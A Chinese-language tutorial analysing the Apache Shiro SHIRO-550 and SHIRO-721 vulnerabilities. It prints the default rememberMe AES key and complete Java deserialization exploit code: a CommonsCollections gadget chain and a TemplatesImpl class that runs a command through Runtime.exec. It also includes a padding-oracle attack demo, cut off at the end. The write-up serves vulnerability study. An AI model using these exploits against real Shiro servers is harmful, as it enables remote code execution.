0x00 前言

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。

使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。

我们都知道Shiro反序列化的漏洞有两个,550和721,这两个不是版本,是apache官方issue的编号。

https://issues.apache.org/jira/projects/SHIRO/issues/SHIRO-550

https://issues.apache.org/jira/projects/SHIRO/issues/SHIRO-721

0x01 Shiro-550分析

环境

调试工具:IDEA

Java版本:8u65,下载地址:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

8u65源码:下载地址:https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip

Shiro版本:1.2.4

pom文件配置:

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <groupId>org.example</groupId>
  <artifactId>shirodemo</artifactId>
  <packaging>war</packaging>
  <version>1.0-SNAPSHOT</version>
  <name>shirodemo Maven Webapp</name>
  <url>http://maven.apache.org</url>

  <properties>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    <maven.compiler.source>1.7</maven.compiler.source>
    <maven.compiler.target>1.7</maven.compiler.target>
  </properties>

  <dependencies>
    <dependency>
      <groupId>org.apache.shiro</groupId>
      <artifactId>shiro-core</artifactId>
      <version>1.2.4</version>
    </dependency>
    <dependency>
      <groupId>org.apache.shiro</groupId>
      <artifactId>shiro-web</artifactId>
      <version>1.2.4</version>
    </dependency>

    <dependency>
      <groupId>javax.servlet</groupId>
      <artifactId>javax.servlet-api</artifactId>
      <version>3.1.0</version>
      <scope>provided</scope>
    </dependency>

    <dependency>
      <groupId>javax.servlet.jsp</groupId>
      <artifactId>jsp-api</artifactId>
      <version>2.2</version>
      <scope>provided</scope>
    </dependency>

    <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
    <dependency>
      <groupId>commons-collections</groupId>
      <artifactId>commons-collections</artifactId>
      <version>3.2.1</version>
    </dependency>
    <dependency>
      <groupId>org.javassist</groupId>
      <artifactId>javassist</artifactId>
      <version>3.25.0-GA</version>
    </dependency>
    <!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->
    <dependency>
      <groupId>commons-logging</groupId>
      <artifactId>commons-logging</artifactId>
      <version>1.2</version>
    </dependency>
    <dependency>
      <groupId>org.slf4j</groupId>
      <artifactId>slf4j-api</artifactId>
      <version>1.7.30</version>
    </dependency>
    <dependency>
      <groupId>org.slf4j</groupId>
      <artifactId>slf4j-simple</artifactId>
      <version>1.7.30</version>
    </dependency>

  </dependencies>

  <build>
    <finalName>shirodemo</finalName>
    <pluginManagement><!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->
      <plugins>
        <plugin>
          <artifactId>maven-clean-plugin</artifactId>
          <version>3.1.0</version>
        </plugin>
        <!-- see http://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_war_packaging -->
        <plugin>
          <artifactId>maven-resources-plugin</artifactId>
          <version>3.0.2</version>
        </plugin>
        <plugin>
          <artifactId>maven-compiler-plugin</artifactId>
          <version>3.8.0</version>
        </plugin>
        <plugin>
          <artifactId>maven-surefire-plugin</artifactId>
          <version>2.22.1</version>
        </plugin>
        <plugin>
          <artifactId>maven-war-plugin</artifactId>
          <version>3.2.2</version>
        </plugin>
        <plugin>
          <artifactId>maven-install-plugin</artifactId>
          <version>2.5.2</version>
        </plugin>
        <plugin>
          <artifactId>maven-deploy-plugin</artifactId>
          <version>2.8.2</version>
        </plugin>
      </plugins>
    </pluginManagement>
    <plugins>
      <plugin>
        <groupId>org.apache.maven.plugins</groupId>
        <artifactId>maven-compiler-plugin</artifactId>
        <configuration>
          <source>8</source>
          <target>8</target>
        </configuration>
      </plugin>
    </plugins>
  </build>
</project>

用的shiro是P神的环境:https://github.com/phith0n/JavaThings/tree/master/shirodemo

1、shiro-core、shiro-web,这是shiro本身的依赖

2、javax.servlet-api、jsp-api,这是JSP和Servlet的依赖,仅在编译阶段使用,因为Tomcat中自带这 两个依赖

3、slf4j-api、slf4j-simple,这是为了显示shiro中的报错信息添加的依赖 commons-logging,这是shiro中用到的一个接口,不添加会爆 java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory 错误

4、commons-collections,为了演示反序列化漏洞,增加了commons-collections依赖

也可以自己新建一个maven项目:

image-20231210220347103

如果遇到maven不会自动下载source的话可以尝试在目录下执行下面的命令即可:

mvn dependency:sources -DdownloadSources=true -DdownloadJavadocs=true

配置完后install:

image-20231210220607852

配置下tomcat的服务器:

image-20231210220636951

选择这个war:

image-20231210220712500

如果出现了其他问题可以看下文末的参考链接。

加密过程

我们知道shiro都是根据cookie里面的rememberMe进行利用的,那过程到底是如何呢?

我们尝试登陆一下看看,记得勾选remember me:

image-20231210225137761

可以看到返回的http头里面新增了Set-Cookie,rememberMe还有一串字符。

可到这里我们想分析,不知何从下手,我们知道javaweb是根据web.xml进行路由判断然后进入过滤器等等的,我们在web.xml里面就写了这句:

  <filter>
    <filter-name>ShiroFilter</filter-name>
    <filter-class>org.apache.shiro.web.servlet.ShiroFilter</filter-class>
  </filter>

  <filter-mapping>
    <filter-name>ShiroFilter</filter-name>
    <url-pattern>/*</url-pattern>
  </filter-mapping>

意思就是说访问根目录就要走这个过滤器,那么我们跟进去看看:

image-20231210230333249

继承于AbstractShiroFilter类,AbstractShiroFilter又继承于OncePerRequestFilter类,这里就是开始的地方,无论你是GET还是POST都会从这里开始,但是呢中间会有很多各种调用,会比较繁琐,所以不用太纠结要不要从Web程序的开头就分析,而且在文章当中这样分析会让整篇文章会得很臃肿,看起来没什么条理性,所以推荐大家理解漏洞原理即可,不必太深究:

image-20231210231057929

这里我们就从登陆处开始分析org.apache.shiro.mgt.DefaultSecurityManager,因为只要登陆都会经过这里的Login方法,如果是直接用Get方式带上cookie就不走这里了,在下面的解密过程会分析到,我们在这里下个断点,然后authenticate方法验证凭证的正确性,如果不正确就不走下面的onSuccessfulLogin方法:

image-20231210232021109

继续往下走就会走到rememberMeSuccessfulLogin方法:

image-20231210233421343

因为怕截图太多,有一些不必要的就直接过就行了,不用走进去,往下走进onSuccessfulLogin方法。

进到里面不用走forgetIdentity,这里有一个判断isRememberMe的方法就是我们的有没有勾选RememberMe,如果没有就不走rememberIdentity,rememberIdentity是我们加密的关键方法:

image-20231211003229678

进行往下走到rememberIdentity方法,然后会进到convertPrincipalsToBytes方法:

image-20231210233707232

这里面会序列化principals对象,也就是登陆名称root字符串。很好,已经到了关键的地方了:

image-20231210233831135

走进去,会发现一个就是我们固定key的地方了:

image-20231210234021311

但是这个没有写值:

private byte[] encryptionCipherKey;

但是在构造方法里面有一个方法setCipherKey,可以看到传入有一个常量DEFAULT_CIPHER_KEY_BYTES

 public AbstractRememberMeManager() {
        this.serializer = new DefaultSerializer<PrincipalCollection>();
        this.cipherService = new AesCipherService();
        setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
    }

这里就保存我们常见的key了,返回时byte类型:

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

再继续跟进去encrypt方法就是AES加密的流程了,我们走完加密就会回到rememberIdentity方法,下面有个rememberSerializedIdentity方法,这里就是把rememberme写到cookie里面:

image-20231211000319351

整个加密过程不是很复杂:

1、序列化principals对象的值(root)

2、将序列化后principals对象的值跟DEFAULT_CIPHER_KEY_BYTES进行AES加密,iv为随机,模式为CBC

3、生成Base64字符串,写入Cookie

解密过程

我们可以在Get方法加上我们有rememberMe的Cookie:

image-20231211010351439

解密就不需要从登陆口进行分析了,还记得我们刚开始的时候分析到了org.apache.shiro.web.servlet.OncePerRequestFilter,这时候我们就可以从这里doFilterInternal方法下断点开始跟:

image-20231211010222660

往下走到createSubject方法:

image-20231211010449699

继续往下走buildWebSubject方法,不要怕,继续走到buildSubject->createSubject方法,可以看到我们主要的resolvePrincipals方法了:

image-20231211010617291

跟进去,到getRememberedIdentity这个方法进去,继续往下跟getRememberedPrincipals方法,不要怕下面不是很复杂的。可以看到我们熟悉的两个方法getRememberedSerializedIdentityconvertBytesToPrincipals

image-20231211010811697

  • getRememberedSerializedIdentity

这个方法主要是获取cookie的RememberMe的值并进行Base64解码

  • convertBytesToPrincipals

这个方法是将上面获取到的密文进行解密并进行反序列化的

我们进行往下跟convertBytesToPrincipals方法里面的decrypt,解密的key也就是我们上面加密的固定可以,可以看下iv的值怎么获取的:

image-20231211011318960

iv值也就是密文的前16位,密文减掉前面的iv就是要解密的密文了,然后拿着密文+key+iv进行AES的解密流程。

解密完之后就会进到反序列化的过程:

image-20231211011709434

漏洞利用

我们了解整个解密流程,那漏洞利用的思路就是:

1、编写恶意的CC链,并转换成字节码

2、使用里面固定的key加密我们的CC链并进行序列化

2、放到Cookie里面的rememberMe进行访问

那第一步就是编写恶意的CC链,我们可以用CC6,因为没有JDK的版本限制,比较通用。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws Exception {

        Transformer[]  transformers= new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})

        };
        ChainedTransformer chainedTransformer= new ChainedTransformer(transformers);


        Map hashMap1 = new HashMap();
        Map lazymap = LazyMap.decorate(hashMap1,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"11");
        HashMap hashMap2 = new HashMap();
        hashMap2.put(tiedMapEntry,"2");
        lazymap.remove("11");
        Class c = LazyMap.class;
        Field ifield = c.getDeclaredField("factory");
        ifield.setAccessible(true);
        ifield.set(lazymap,chainedTransformer);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
//改写的部分
      //利用固定的key对我们的hashMap2进行序列化
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");


        ObjectOutputStream oss = new ObjectOutputStream(barr);
        oss.writeObject(hashMap2);
      //对序列化后的字节码进行AES进行加密
        ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
      //输出Base64的字符串,也可以用
      //Base64.encodeToString(ciphertext.getBytes()),aes.encrypt返回的是SimpleByteSource
        System.out.printf(ciphertext.toString());
        oss.close();

    }
}

然后我们把生成Base64的字符串放到Cookie当中,会发现报错了这里P神有解释过:

如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。这就解释了为什么CommonsCollections6无法利用了,因为其中用到了Transformer数组。

那么我们可以进行改写一下,上半部分有点像CC2,使用TemplatesImpl,然后不用Transformer数组,只用一个InvokerTransformer方法。

恶意类EvilTemplatesImpl的代码:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class EvilTemplatesImpl extends AbstractTranslet {

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
    public EvilTemplatesImpl () throws IOException {
        Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
    }
}

最终改写后的的CC6为:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;


import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;


public class expShiro  {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                //取当前目录下的类路径EvilTemplatesImpl.class.getName(),如果在当前目录下可以直接写类名即可
                ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "HelloTemplatesImpl");


        InvokerTransformer newTransformer = new InvokerTransformer("toString", null, null);


        Map hashMap1 = new HashMap();
        Map lazymap = LazyMap.decorate(hashMap1,newTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,obj);
        HashMap hashMap2 = new HashMap();
        hashMap2.put(tiedMapEntry,"2");
        lazymap.clear();
        setFieldValue(newTransformer,"iMethodName","newTransformer");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");


        ObjectOutputStream oss = new ObjectOutputStream(barr);
        oss.writeObject(hashMap2);
        ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
        System.out.printf(Base64.encodeToString(ciphertext.getBytes()));
        oss.close();

    }

}

成功触发了我们的恶意代码:

image-20231211014506669

0x02 Shiro-721分析

看了一天这CBC字节翻转攻击和Padding Oracle攻击的文章,千篇一律,都是一个套路去写文章,不过有一篇《shiro721 Padding Oracle Attack详细分析(一)》确实让我看懂了,文章链接放参考。

首先我们要理解这个漏洞要明白几个事情

1、CBC字节翻转攻击和Padding Oracle攻击都不需要去深入理解AES或者DES的加密

2、Padding Oracle攻击在Shiro-550也同样存在,但在1.4.2的版本之后就换成了GCM的模式

3、耐心慢慢来

环境

调试工具:IDEA

Java版本:8u65,下载地址:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

8u65源码:下载地址:https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip

Shiro版本:1.4.1

pom文件配置:

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <groupId>org.example</groupId>
  <artifactId>shirodemo</artifactId>
  <packaging>war</packaging>
  <version>1.0-SNAPSHOT</version>
  <name>shirodemo Maven Webapp</name>
  <url>http://maven.apache.org</url>

  <properties>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    <maven.compiler.source>1.7</maven.compiler.source>
    <maven.compiler.target>1.7</maven.compiler.target>
  </properties>

  <dependencies>
    <dependency>
      <groupId>org.apache.shiro</groupId>
      <artifactId>shiro-core</artifactId>
      <version>1.4.1</version>
    </dependency>
    <dependency>
      <groupId>org.apache.shiro</groupId>
      <artifactId>shiro-web</artifactId>
      <version>1.4.1</version>
    </dependency>

    <dependency>
      <groupId>javax.servlet</groupId>
      <artifactId>javax.servlet-api</artifactId>
      <version>3.1.0</version>
      <scope>provided</scope>
    </dependency>

    <dependency>
      <groupId>javax.servlet.jsp</groupId>
      <artifactId>jsp-api</artifactId>
      <version>2.2</version>
      <scope>provided</scope>
    </dependency>

    <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
    <dependency>
      <groupId>commons-collections</groupId>
      <artifactId>commons-collections</artifactId>
      <version>3.2.1</version>
    </dependency>
    <dependency>
      <groupId>org.javassist</groupId>
      <artifactId>javassist</artifactId>
      <version>3.25.0-GA</version>
    </dependency>
    <!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->
    <dependency>
      <groupId>commons-logging</groupId>
      <artifactId>commons-logging</artifactId>
      <version>1.2</version>
    </dependency>
    <dependency>
      <groupId>org.slf4j</groupId>
      <artifactId>slf4j-api</artifactId>
      <version>1.7.30</version>
    </dependency>
    <dependency>
      <groupId>org.slf4j</groupId>
      <artifactId>slf4j-simple</artifactId>
      <version>1.7.30</version>
    </dependency>
      <dependency>
          <groupId>commons-codec</groupId>
          <artifactId>commons-codec</artifactId>
          <version>1.11</version>
      </dependency>

  </dependencies>

  <build>
    <finalName>shirodemo</finalName>
    <pluginManagement><!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->
      <plugins>
        <plugin>
          <artifactId>maven-clean-plugin</artifactId>
          <version>3.1.0</version>
        </plugin>
        <!-- see http://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_war_packaging -->
        <plugin>
          <artifactId>maven-resources-plugin</artifactId>
          <version>3.0.2</version>
        </plugin>
        <plugin>
          <artifactId>maven-compiler-plugin</artifactId>
          <version>3.8.0</version>
        </plugin>
        <plugin>
          <artifactId>maven-surefire-plugin</artifactId>
          <version>2.22.1</version>
        </plugin>
        <plugin>
          <artifactId>maven-war-plugin</artifactId>
          <version>3.2.2</version>
        </plugin>
        <plugin>
          <artifactId>maven-install-plugin</artifactId>
          <version>2.5.2</version>
        </plugin>
        <plugin>
          <artifactId>maven-deploy-plugin</artifactId>
          <version>2.8.2</version>
        </plugin>
      </plugins>
    </pluginManagement>
    <plugins>
      <plugin>
        <groupId>org.apache.maven.plugins</groupId>
        <artifactId>maven-compiler-plugin</artifactId>
        <configuration>
          <source>8</source>
          <target>8</target>
        </configuration>
      </plugin>
    </plugins>
  </build>
</project>

CBC加密模式分析

相信大家看了网上琳琅满目的文章都头晕眼花了吧,我一开始也是,关于这个漏洞要么就是那几个图用来用去,要么就是直接上工具怎么利用漏洞。这里我先给大家先从小的开始讲,理解一个块加密后再去理解多个块加密,这样一来就很好理解整个加密是怎么运转的了。

一组加密

我们知道AES和DES都是对称加密,会把明文分成几个组,然后对这几个组进行加密。但是我们要理解先从一组的加解密开始,这样就会说上来就地狱级难度了。

那么加密需要有哪些因素来参与呢?

1、明文

2、IV(初始向量)

3、密钥

我们直接上例子,比如加密明文"test",明文会先跟iv进行异或(XOR),然后再使用密钥进行DES的加密得到密文:

image-20231212122159758

我们可以看到DES加密是8字节一组,那么test后面4个空位是需要填充,这正是CBC模式加密的要求。

看下填充的规则:

image-20231212023550683

因为是从一组开始讲所以,0x08是放到第二组了的。

这里最重要还是要理解XOR(异或)这个原理:

XOR 全称为exclusive OR,简写为XOR,中文称为异或运算

异或运算是一种数学运算符,主要应用于逻辑运算和计算机体系中的位运算。异或运算的数学符号常表示为“⊕”,运算法则为:

A ⊕ B = (¬A ∧B) ∨ (A ∧¬B)

简单研究下1个位(比特)的异或运算。

0 ⊕ 0 = 0;(0与0异或运算的结果为0)

0 ⊕ 1 = 1;(0与1异或运算的结果为1)

1 ⊕ 0 = 1;(1与0异或运算的结果为1)

1 ⊕ 1 = 0;(1与1异或运算的结果为0)

异或运算可以类比于奇偶数的加法运算或者是翻牌处理。在按位运算的过程中,参与运算的数值只有两种可能,那么为0要么为1,在这里0为偶数,1位奇数,可以得出下面的运算特征,我们发现结果和异或运算是一致的。

偶数 + 偶数 = 偶数;(偶数与偶数相加运算的结果为偶数)

偶数 + 奇数 = 奇数;(偶数与奇数相加运算的结果为奇数)

奇数 + 偶数 = 奇数;(奇数与偶数相加运算的结果为奇数)

奇数 + 奇数 = 偶数;(奇数与奇数相加运算的结果为偶数)

那解密过程又是如何的呢?那就是反过来就行了:

image-20231212122608286

看起来貌似好像也不难对吧,然后我们下来就开始来理解什么是CBC字节翻转攻击Padding Oracle Attack

在这之前我们可以认识一下两个攻击的用途:

1、CBC字节翻转攻击是用来修改明文的

2、Padding Oracle Attack是用来猜解明文的

CBC字节翻转攻击

所谓的字节翻转也就是在XOR的过程发生的,比如原本的明文为:

test:0

那么通过翻转攻击后就能变成:

test:1

可以想象一下后面的1和0在很多鉴权的程序当中就是判断管理员权限的一种写法。

那我们怎么实现呢?

假如我们现在是登陆一个普通用户,拿到cookie,但cookie是通过DES加密的:

Cookie: user=31032333435363738FABFFB1F91CBC60B 

看到这串东西不要怕,我们慢慢来分析,首先我们先把前十六位拿到出来,因为这个是IV,后面十六位才是密文:

密文:0xFA 0xBF 0xFB 0x1F 0x91 0xCB 0xC6 0x0B

IV:0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38

如果我们需要解密的流程如下:

image-20231212124539411

密钥我们是不知道的,但是服务器会帮我把密文进行解密,那么我们能控制的只有IV值。

从上面的XOR原理我们可以知道:

密文通过DES解密后的值就表示中间值

明文 XOR IV = 中间值

那么如果我们只知道密文和IV:

中间值 XOR IV = 明文

而且还有一条规则是:

中间值 XOR 0 = 中间值

是不是在密文不改变的情况下,我们只要去修改IV就能改变明文的值了!

有同学会问,改变iv那整个解密不是不完整了吗?回到上面的图,可以看到密文先是通过服务器的DES解密(密钥在服务器),然后再和我们的IV进行异或,所以IV的更改不会影响解密过程。

需要修改0的值是在第六位,那么我们就要和第六位的iv进行xor,首先我们要求出中间值的第六位十六进制是多少,我们先把第六位的iv值改为0x00:

0x31 0x32 0x33 0x34 0x35 0x00 0x37 0x38

然后进行解密,会得出中间值的第六位十六进制:

中间值第六位 XOR 0 = 06

那么再根据我们要修改的0为1,1的ASCII十六进制是0x31,然后我们计算:

中间值第六位(06) XOR 明文第六位(0x31) = iv第六位(0x37)

然后重新组成新的iv值为:

0x31 0x32 0x33 0x34 0x35 0x37 0x37 0x38

代入进行解密就可得到我们想要的值了:

image-20231212232950664

Padding Oracle Attack

Oracle不是甲骨文公司,而是提示的意思。我们知道上面如果一组明文字符没有用满8字节的话,那么就会用对应的字节进行填充,那么这个填充就是padding。

在分组密码中,有两种常见的填充算法,分别是Pkcs5Padding和Pkcs7Padding。PKCS5Padding与PKCS7Padding基本上是可以通用的。在PKCS5Padding中,明确定义Block的大小是8位,而在PKCS7Padding定义中,对于块的大小是不确定的,填充值的算法都是一样的。

从上面的cbc翻转攻击我们知道怎么去修改解密出来的明文,但是我们是需要知道明文的长度的,如果在我们不知道明文是test:0的时候我们就没办法判断是怎么去修改的了。那么Padding Oracle Attack就能帮助我们判断填充值是多少,而且还可以利用Padding的报错回显的方式进行猜解中间值,拿到中间值然后我们通过下面的式子拿到明文:

中间值 XOR IV =明文

那是怎么一个原理呢?是利用了下面的xor去判断:

中间值 XOR 0 = 中间值

我们举个例子,这个中间值我们是不知道,但我们可以用这个来还原其中的原理,一个中间值为:

中间值:0x45 0x57 0x40 0x40 0x31 0x32 0x33 0x3C

如果我们用全0跟它异或肯定会报错的:

IV:0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

由我们上面的填充图可知,明文xor后只有0x01-0x08所以xor后得到0x00是不对的,我们可以一个一个尝试,比如从0x01开始:

IV:0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x01

但是还是会报错,为什么呢,因为中间值的最后一位0x3C和IV的最后一位0x01通过xor没有等于0x01,所以会给出报错的信息,我们就需要一个一个去尝试,从0-255,也就是256次内会有一个正确的值,有点类似SQL注入的盲注,可以套用下面的公式

中间值(0x3C) XOR IV(?) = 0x01,中间值(0x3C) XOR 0x01 = 0x3D

因为我们不知道中间值是多少,只有服务器知道,所以只能采用盲注的方式进行猜解,我们传入的IV值是正确的:

IV:0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x3D

以此类推,整个过程最多需要尝试256*8次也就是2048次,便可爆破出中间值。

爆出中间值,我们还可以利用该中间值去修改明文,也就是

中间值 XOR IV(?) = 修改后的明文

那么我们只要拿修改后的明文跟中间值进行XOR即可得出攻击的iv:

中间值 XOR 修改后的明文 = 攻击iv

image-20231214021449330

下面是小茶包师傅的代码:

import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.DESKeySpec;
import javax.crypto.spec.IvParameterSpec;
import java.io.*;
import java.util.Arrays;
public class DES_Test {
    public static int flag = 0;
    // 加密方法,plaintext代表明文,key代表密钥,iv代表初始向量
    public static byte[] encrypt(byte[] plaintext, byte[] key, byte[] iv) {
        byte[] ciphertext = null;
        try {
            SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES");
            //创建密钥对象
            DESKeySpec keySpec = new DESKeySpec(key);
            SecretKey secretKey = keyFactory.generateSecret(keySpec);
            //创建iv对象
            IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);
            //指定使用DES加密算法,CBC模式,PKCS5Padding填充方式
            Cipher cipher = Cipher.getInstance("DES/CBC/PKCS5Padding");
            //初始化cipher对象,Cipher.ENCRYPT_MODE代表这个cipher是用来加密的
            cipher.init(Cipher.ENCRYPT_MODE, secretKey, ivParameterSpec);
            //加密
            ciphertext = cipher.doFinal(plaintext);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return ciphertext;
    }
    //解密方法,ciphertext代表密文,key代表密钥,iv代表初始向量
    public static byte[] decrypt(byte[] ciphertext, byte[] key, byte[] iv) {
        byte[] plaintext = null;
        flag = 0;
        try {
            SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES");
            //创建密钥对象
            DESKeySpec keySpec = new DESKeySpec(key);
            SecretKey secretKey = keyFactory.generateSecret(keySpec);
            //创建iv对象
            IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);
            //指定使用DES加密算法,CBC模式,PKCS5Padding填充方式
            Cipher cipher = Cipher.getInstance("DES/CBC/PKCS5Padding");
            //初始化cipher对象,Cipher.DECRYPT_MODE代表这个cipher是用来解密的
            cipher.init(Cipher.DECRYPT_MODE, secretKey, ivParameterSpec);
            //解密
            plaintext = cipher.doFinal(ciphertext);
            //若程序能运行到这里,说明没有抛异常,也就是Padding部分满足N个0x0N规则,flag值将被置为1
            flag = 1;
        } catch (Exception e) {
//            e.printStackTrace();
        }
        return plaintext;
    }
    //ciphertext代表密文,key代表密钥(服务器),iv代表初始向量(恶意构造的iv)
    public static byte[] attackDecrypt(byte[] ciphertext, byte[] key, byte[] iv) {
        byte[] tmp = new byte[8];
        byte[] attackiv = new byte[8];
        // 将byte数组0-7全部设为0x00
        for (int i = 0; i < 7; i++) {
            attackiv[i] = 0;
        }
        // 遍历数组,并为数组赋值,代表八个元素
        for (int i = 1; i <= 8; i++) {
            // 求attackiv的真实值,例如求最后一位的值:tmp[7] ^ 0x02
            for (int x = 9 - i; x < 8; x++) {
                attackiv[x] = (byte)(tmp[x] ^ i);
            }
            // 遍历0x00~0xff
            for (int j = 0; j < 256; j++) {
                // 从尾部到头遍历八个字符,8-1,8-2~8-8
                attackiv[8 - i] = (byte) j; // 为当前字符赋值
                decrypt(ciphertext, key, attackiv); // 解密,带入恶意attackiv
                // 如果flag为1,说明解密成功,也就确定了tmp的值,attackiv[8 - i] ^ i
                if(flag == 1) {
                    tmp[8 - i] = (byte) (j ^ i);
                }
            }
        }
        byte[] plaintext = new byte[8];
        for (int i = 0; i < 8; i++) {
            plaintext[i] = (byte) (iv[i] ^ tmp[i]);
        }
        //System.out.println("attackiv: " + bytesToHex(attackiv));
        System.out.println("iv: " + bytesToHex(iv));
        System.out.println("palintext: " + new String(plaintext));
        return tmp;
    }
    public static String byteToHex(byte b)
    {
        String hexString = Integer.toHexString(b & 0xFF);
        //由于十六进制是由0~9、A~F来表示1~16,所以如果Byte转换成Hex后如果是<16,就会是一个字符(比如A=10),通常是使用两个字符来表示16进制位的,
        //假如一个字符的话,遇到字符串11,这到底是1个字节,还是1和1两个字节,容易混淆,如果是补0,那么1和1补充后就是0101,11就表示纯粹的11
        if (hexString.length() < 2)
        {
            hexString = new StringBuilder(String.valueOf(0)).append(hexString).toString();
        }
        return hexString.toUpperCase();
    }
    public static String bytesToHex(byte[] bytes)
    {
        StringBuffer sb = new StringBuffer();
        sb.append("[ ");
        if (bytes != null && bytes.length > 0)
        {
            for (int i = 0; i < bytes.length; i++) {
                String hex = byteToHex(bytes[i]);
                sb.append("0x" + hex + " ");
            }
            sb.append(" ]");
        }
        return sb.toString();
    }
    public static byte[] hexStringToBytes(String hexString) {
        if (hexString == null || hexString.equals("")) {
            return null;
        }
        hexString = hexString.toUpperCase();
        int length = hexString.length() / 2;
        char[] hexChars = hexString.toCharArray();
        byte[] d = new byte[length];
        for (int i = 0; i < length; i++) {
            int pos = i * 2;
            d[i] = (byte) (charToByte(hexChars[pos]) << 4 | charToByte(hexChars[pos + 1]));
        }
        return d;
    }
    public static byte charToByte(char c) {
        return (byte) "0123456789ABCDEF".indexOf(c);
    }
    public static void main(String[] args) throws IOException, ClassNotFoundException {

        byte[] ciphertext = encrypt("test".getBytes(), "87654321".getBytes(), "12345678".getBytes());
        byte[] tmp = attackDecrypt(ciphertext, "87654321".getBytes(), "12345678".getBytes());
        System.out.println("tmp: " + bytesToHex(tmp));
        

//        byte [] key = "87654321".getBytes();
//        byte [] iv = "12345678".getBytes();
//        byte[] ciphertext = encrypt(plaintext,key ,iv);
//`
//        System.out.println("ciphertext: "+bytesToHex(ciphertext));
//        for (int i = 0; i < 8; i++) {
//            iv[i] = (byte) 0x00;
//        }
//        iv[7] = (byte) 0x3D;
//        System.out.println("iv: "+bytesToHex(iv));
//        byte[] decrypt = decrypt(ciphertext, key, iv);
//        System.out.println(flag);
//        //System.out.println(byteToHex(decrypt[5]));
